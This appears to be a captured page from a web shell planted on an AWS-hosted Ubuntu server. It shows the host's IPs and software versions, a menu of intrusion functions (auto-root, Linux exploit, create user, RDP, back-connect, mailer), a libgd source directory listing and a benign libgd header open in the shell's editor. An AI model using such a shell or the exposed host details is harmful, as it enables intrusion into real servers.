Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.119.140.2
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stph /
libgd-gd-2.2.3 /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
msinttypes
[ DIR ]
drwxr-xr-x
CMakeLists.txt
3.23
KB
-rwxr-xr-x
COPYING
2.25
KB
-rwxr-xr-x
Makefile.am
1.96
KB
-rwxr-xr-x
annotate.c
4.38
KB
-rwxr-xr-x
bdftogd
3.91
KB
-rwxr-xr-x
bmp.h
2.39
KB
-rwxr-xr-x
circletexttest.c
1.49
KB
-rwxr-xr-x
config.h.cmake
3.58
KB
-rwxr-xr-x
demoin.png
9.79
KB
-rwxr-xr-x
depcomp
11.84
KB
-rwxr-xr-x
entities.h
4.81
KB
-rwxr-xr-x
entities.html
41.11
KB
-rwxr-xr-x
entities.tcl
1.35
KB
-rwxr-xr-x
fontconfigtest.c
1.34
KB
-rwxr-xr-x
fontsizetest.c
2.3
KB
-rwxr-xr-x
fontwheeltest.c
3.23
KB
-rwxr-xr-x
gd.c
89.58
KB
-rwxr-xr-x
gd.h
50.14
KB
-rwxr-xr-x
gd2copypal.c
1.25
KB
-rwxr-xr-x
gd2time.c
1.19
KB
-rwxr-xr-x
gd2togif.c
939
B
-rwxr-xr-x
gd2topng.c
1.38
KB
-rwxr-xr-x
gd_bmp.c
25.78
KB
-rwxr-xr-x
gd_color.c
798
B
-rwxr-xr-x
gd_color.h
189
B
-rwxr-xr-x
gd_color_map.c
22.71
KB
-rwxr-xr-x
gd_color_map.h
478
B
-rwxr-xr-x
gd_color_map_test.c
570
B
-rwxr-xr-x
gd_color_match.c
1.49
KB
-rwxr-xr-x
gd_crop.c
5.75
KB
-rwxr-xr-x
gd_errors.h
1.47
KB
-rwxr-xr-x
gd_filename.c
6.41
KB
-rwxr-xr-x
gd_filter.c
21
KB
-rwxr-xr-x
gd_gd.c
7.1
KB
-rwxr-xr-x
gd_gd2.c
25.85
KB
-rwxr-xr-x
gd_gif_in.c
14.79
KB
-rwxr-xr-x
gd_gif_out.c
41
KB
-rwxr-xr-x
gd_intern.h
1.95
KB
-rwxr-xr-x
gd_interpolation.c
59.19
KB
-rwxr-xr-x
gd_io.c
3.42
KB
-rwxr-xr-x
gd_io.h
3.05
KB
-rwxr-xr-x
gd_io_dp.c
7.95
KB
-rwxr-xr-x
gd_io_file.c
2.41
KB
-rwxr-xr-x
gd_io_ss.c
2.66
KB
-rwxr-xr-x
gd_io_stream.cxx
4.11
KB
-rwxr-xr-x
gd_io_stream.h
3.63
KB
-rwxr-xr-x
gd_jpeg.c
34.5
KB
-rwxr-xr-x
gd_matrix.c
7.93
KB
-rwxr-xr-x
gd_nnquant.c
15
KB
-rwxr-xr-x
gd_nnquant.h
527
B
-rwxr-xr-x
gd_png.c
30.58
KB
-rwxr-xr-x
gd_rotate.c
12.25
KB
-rwxr-xr-x
gd_security.c
692
B
-rwxr-xr-x
gd_ss.c
1.27
KB
-rwxr-xr-x
gd_tga.c
8.61
KB
-rwxr-xr-x
gd_tga.h
1.66
KB
-rwxr-xr-x
gd_tiff.c
25.85
KB
-rwxr-xr-x
gd_topal.c
55.18
KB
-rwxr-xr-x
gd_transform.c
1.48
KB
-rwxr-xr-x
gd_version.c
827
B
-rwxr-xr-x
gd_wbmp.c
6.54
KB
-rwxr-xr-x
gd_webp.c
4.25
KB
-rwxr-xr-x
gd_xbm.c
5.68
KB
-rwxr-xr-x
gdcache.c
5.14
KB
-rwxr-xr-x
gdcache.h
2.83
KB
-rwxr-xr-x
gdcmpgif.c
1.86
KB
-rwxr-xr-x
gddemo.c
5.42
KB
-rwxr-xr-x
gdfontg.c
109.84
KB
-rwxr-xr-x
gdfontg.h
553
B
-rwxr-xr-x
gdfontl.c
104.83
KB
-rwxr-xr-x
gdfontl.h
551
B
-rwxr-xr-x
gdfontmb.c
76.33
KB
-rwxr-xr-x
gdfontmb.h
519
B
-rwxr-xr-x
gdfonts.c
66.55
KB
-rwxr-xr-x
gdfonts.h
515
B
-rwxr-xr-x
gdfontt.c
36.82
KB
-rwxr-xr-x
gdfontt.h
546
B
-rwxr-xr-x
gdft.c
49.23
KB
-rwxr-xr-x
gdfx.c
13.52
KB
-rwxr-xr-x
gdfx.h
2.34
KB
-rwxr-xr-x
gdhelpers.c
1.51
KB
-rwxr-xr-x
gdhelpers.h
2.31
KB
-rwxr-xr-x
gdkanji.c
11.97
KB
-rwxr-xr-x
gdparttopng.c
1.23
KB
-rwxr-xr-x
gdpp.cxx
6.43
KB
-rwxr-xr-x
gdpp.h
50.94
KB
-rwxr-xr-x
gdtables.c
4.67
KB
-rwxr-xr-x
gdtest.c
10.27
KB
-rwxr-xr-x
gdtestft.c
5.54
KB
-rwxr-xr-x
gdtopng.c
1.01
KB
-rwxr-xr-x
gdxpm.c
4.64
KB
-rwxr-xr-x
gifanimtest.c
682
B
-rwxr-xr-x
giftogd2.c
1.12
KB
-rwxr-xr-x
jisx0208.h
73.71
KB
-rwxr-xr-x
pngtogd.c
1.03
KB
-rwxr-xr-x
pngtogd2.c
1.23
KB
-rwxr-xr-x
snprintf.c
585
B
-rwxr-xr-x
testac.c
4.14
KB
-rwxr-xr-x
testtr.c
1.33
KB
-rwxr-xr-x
wbmp.c
6.18
KB
-rwxr-xr-x
wbmp.h
1.2
KB
-rwxr-xr-x
webpng.c
6.44
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gd_io_stream.h
/* ***************************************************************************** ** $Id$ ** Initial file written and documented by: ** Kevin Shepherd <kshepherd@php.net> December 2007 ** of Scarlet Line http://www.scarletline.com/ *******************************************************************************/ /** \file gd_io_stream.h \brief C++ standard library iostream specializations of gdIOCtx. Note that all of the methods defined in this header are internal to the libgd library, except for the constructors. Only the constructors are needed by a user of the libgd API. This file does not use or need gdpp.h, but if GD::Image is used, then C++ coding becomes even simpler, and the classes below become entirely hidden implementation details. Example usage, convert png to gif: #include <fstream> #include "gd_io_stream.h" std::ifstream in("image.png", std::ios_base::in | std::ios_base::binary ); if (in.good()) { istreamIOCtx _in_ctx(in); gdImagePtr im_in = gdImageCreateFromPngCtx ( & _in_ctx); std::ofstream out("image.gif", std::ios_base::out | std::ios_base::binary ); ostreamIOCtx _out_ctx(out); gdImageGifCtx(im_in, & _out_ctx); } gdImageDestroy(im_in); */ #ifdef __cplusplus #ifndef _gd_io_stream_h #define _gd_io_stream_h #include "gd.h" #include <iostream> /** Standard library input stream specialization of gdIOCtx */ class BGD_EXPORT_DATA_IMPL istreamIOCtx : public gdIOCtx { public: typedef std::istream stream_type; /** Construct an instance of this input stream specialization, given an input stream. For example: std::ifstream in("image.png", std::ios_base::in | std::ios_base::binary ); istreamIOCtx in_ctx(in); */ istreamIOCtx(stream_type & __stream) { init( & __stream); } static int Getbuf (struct gdIOCtx * ctx, void * buf, int size); static int Putbuf (struct gdIOCtx * , const void * , int ); static void Putchar (struct gdIOCtx * , int ); static int Getchar (struct gdIOCtx * ctx); static int Seek (struct gdIOCtx * ctx, const int pos); static long Tell (struct gdIOCtx * ctx); static void FreeCtx (struct gdIOCtx * ctx); void init(stream_type * __stream) { getC = Getchar; putC = Putchar; getBuf = Getbuf; putBuf = Putbuf; tell = Tell; seek = Seek; gd_free = FreeCtx; _M_stream = __stream; } private: stream_type * _M_stream; }; /** Allocate a new instance of the class */ inline gdIOCtx * gdNewIstreamCtx (std::istream * __stream) { return new istreamIOCtx(* __stream); } /** Standard library output stream specialization of gdIOCtx */ class BGD_EXPORT_DATA_IMPL ostreamIOCtx : public gdIOCtx { public: typedef std::ostream stream_type; /** Construct an instance of this output stream specialization, given an output stream. For example: std::ofstream out("image.gif", std::ios_base::out | std::ios_base::binary ); ostreamIOCtx out_ctx(out); */ ostreamIOCtx(stream_type & __stream) { init( & __stream); } static int Getbuf (struct gdIOCtx * , void * , int ); static int Putbuf (struct gdIOCtx * ctx, const void * buf, int size); static int Getchar (struct gdIOCtx * ); static void Putchar (struct gdIOCtx * ctx, int a); static int Seek (struct gdIOCtx * ctx, const int pos); static long Tell (struct gdIOCtx * ctx); static void FreeCtx (struct gdIOCtx * ctx); void init(stream_type * __stream) { getC = Getchar; putC = Putchar; getBuf = Getbuf; putBuf = Putbuf; tell = Tell; seek = Seek; gd_free = FreeCtx; _M_stream = __stream; } private: stream_type * _M_stream; }; /** Allocate a new instance of the class */ inline gdIOCtx * gdNewOstreamCtx (std::ostream * __stream) { return new ostreamIOCtx(* __stream); } #endif /* _gd_io_stream_h */ #endif /* __cplusplus */
Close